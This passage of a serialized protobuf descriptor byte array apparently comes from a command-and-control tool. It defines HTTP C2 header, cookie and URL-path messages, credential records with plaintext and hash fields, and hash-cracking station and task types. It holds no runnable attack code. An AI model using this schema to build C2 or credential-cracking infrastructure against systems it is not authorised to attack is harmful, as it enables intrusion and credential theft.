0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0c, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x13, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2c, 0x0a, 0x11, 0x50, 0x6f, 0x6c, 0x6c, 0x46, + 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0d, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x11, 0x50, 0x6f, 0x6c, 0x6c, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x3c, 0x0a, 0x19, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x19, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x32, 0x0a, 0x14, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x46, 0x69, + 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0f, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x14, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6c, 0x6f, 0x73, 0x65, + 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x12, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x3f, 0x0a, 0x0c, 0x50, 0x61, 0x74, 0x68, 0x53, + 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x11, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, + 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x0c, 0x50, 0x61, 0x74, 0x68, + 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x32, 0x0a, 0x0c, 0x48, 0x54, 0x54, 0x50, + 0x43, 0x32, 0x43, 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x82, 0x01, 0x0a, + 0x0c, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, + 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x16, 0x0a, + 0x06, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4d, + 0x65, 0x74, 0x68, 0x6f, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, + 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, + 0x79, 0x22, 0x88, 0x01, 0x0a, 0x12, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x55, 0x52, 0x4c, 0x50, + 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x4d, 0x65, 0x74, 0x68, + 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, + 0x6f, 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, + 0x0b, 0x50, 0x72, 0x6f, 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x22, 0x90, 0x01, 0x0a, + 0x11, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d, 0x65, + 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, + 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x49, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x06, 0x49, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x3d, 0x0a, 0x0b, 0x53, 0x65, + 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, + 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, + 0x32, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x52, 0x0b, 0x53, 0x65, + 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x22, + 0x80, 0x02, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x0e, + 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, + 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x50, 0x6c, + 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x50, + 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x61, 0x73, 0x68, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x61, 0x73, 0x68, 0x12, 0x2e, 0x0a, 0x08, + 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, + 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1c, 0x0a, 0x09, + 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, + 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, + 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x22, 0x45, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, + 0x73, 0x12, 0x36, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, + 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x0b, 0x43, 0x72, + 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x22, 0x4d, 0x0a, 0x0d, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x3c, 0x0a, 0x0d, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xed, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, + 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, + 0x26, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x10, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, + 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, + 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, + 0x6e, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, + 0x69, 0x6e, 0x67, 0x12, 0x33, 0x0a, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, + 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x22, 0xa9, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x14, 0x0a, 0x05, + 0x53, 0x70, 0x65, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x53, 0x70, 0x65, + 0x65, 0x64, 0x12, 0x43, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x2e, + 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x50, + 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x1a, 0x3b, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x67, 0x72, + 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x3a, 0x02, 0x38, 0x01, 0x22, 0xc9, 0x01, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, + 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, + 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, + 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x48, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, + 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, + 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, + 0x73, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x22, 0xd9, 0x01, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, + 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, + 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x74, 0x61, 0x72, + 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, + 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, + 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, + 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x43, 0x6f, + 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, + 0x61, 0x6e, 0x64, 0x52, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x22, 0xfd, 0x03, 0x0a, + 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, + 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, + 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, + 0x52, 0x43, 0x48, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, + 0x48, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, + 0x69, 0x6f, 0x6e, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, + 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, + 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, + 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x46, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x09, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x42, 0x65, 0x6e, 0x63, + 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, + 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x12, 0x2d, 0x0a, 0x04, 0x43, 0x55, 0x44, 0x41, 0x18, + 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, + 0x52, 0x04, 0x43, 0x55, 0x44, 0x41, 0x12, 0x30, 0x0a, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, + 0x65, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, + 0x6f, 0x52, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x33, 0x0a, 0x06, 0x4f, 0x70, 0x65, 0x6e, + 0x43, 0x4c, 0x18, 0x66, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, + 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x1a, 0x3d, 0x0a, + 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, + 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa1, 0x02, 0x0a, + 0x0f, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, + 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, + 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, + 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, + 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, + 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, + 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, + 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, + 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, + 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x20, + 0x0a, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, + 0x22, 0xd9, 0x02, 0x0a, 0x11, 0x4f, 0x70, 0x65, 